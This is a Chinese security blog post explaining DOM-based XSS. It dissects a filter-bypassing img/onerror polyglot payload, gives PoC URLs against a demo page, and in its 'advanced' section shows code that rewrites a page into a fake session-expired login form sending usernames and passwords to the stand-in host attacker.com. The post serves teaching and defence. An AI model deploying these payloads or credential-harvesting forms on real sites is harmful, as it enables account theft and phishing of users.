文章总结: 本文详细解析基于DOM的XSS攻击技术,展示一个绕过过滤的payload示例:通过分号结束语句、注释符突破HTML环境、img标签onerror事件触发confirm弹窗。文档分析payload各部件作用及两种注入场景(DOM操作和JS执行),提供实战案例演示页面重写钓鱼表单的社会工程学攻击效果。 综合评分: 85 文章分类: WEB安全,漏洞分析,实战经验,安全意识,社会工程学
基于 DOM 的 XSS 攻击
原创
JunYi JunYi
毅心安全
2026年4月1日 15:18 广东
在小说阅读器读本章
去阅读
基于 DOM 的 XSS 攻击
payload
1;/*'"><Img/Src/OnError=/**/confirm(1)//>
解析
1;:如果输入点在 JS 环境(如 eval()),这代表一个完整的语句结束。
/*:JS 的多行注释符。它会让 JS 引擎忽略后面用来突破 HTML 环境的字符(如 '"><),防止 JS 报错中断执行。
'":尝试闭合可能存在的单引号或双引号字符串。
>:尝试闭合当前的 HTML 标签。
<Img/Src/OnError=...:这是核心攻击载荷。当之前的标签被闭合后,浏览器会解析这个新标签。由于 Src 为空或无效,会触发 OnError 事件。
/**/:在 OnError 内部使用注释代替空格,用来绕过某些对空格的过滤。
//:JS 的单行注释符。如果是在 JS 环境中,它会注释掉后面可能存在的任何原始代码(如 )!),确保语法正确。
当输入内容最终通过以下方式进入 DOM 时,可以使用以下方法: A. document.write()、innerHTML、outerHTML 或等效的库; B. eval()、setInterval()、setTimeout() 或模板字面量。
PoCs: A:
https://x55.is/brutelogic/dom/sinks.html?name=1;/*%27%22%3E%3CImg/Src/OnError=/**/confirm(1)//%3E
B:
https://x55.is/brutelogic/dom/sinks.html?index=1;/*%27%22%3E%3CImg/Src/OnError=/**/confirm(1)//%3E
实战
A:
进阶
尝试重写页面 …… poc:
document.body.innerHTML = '<h1>Session Expired</h1><form action="http://attacker.com/login"><p>Username: <input name="u"></p><p>Password: <input type="password" name="p"></p><button>Login</button></form>';
效果:
B:
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:毅心安全 JunYi JunYi《基于 DOM 的 XSS 攻击》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论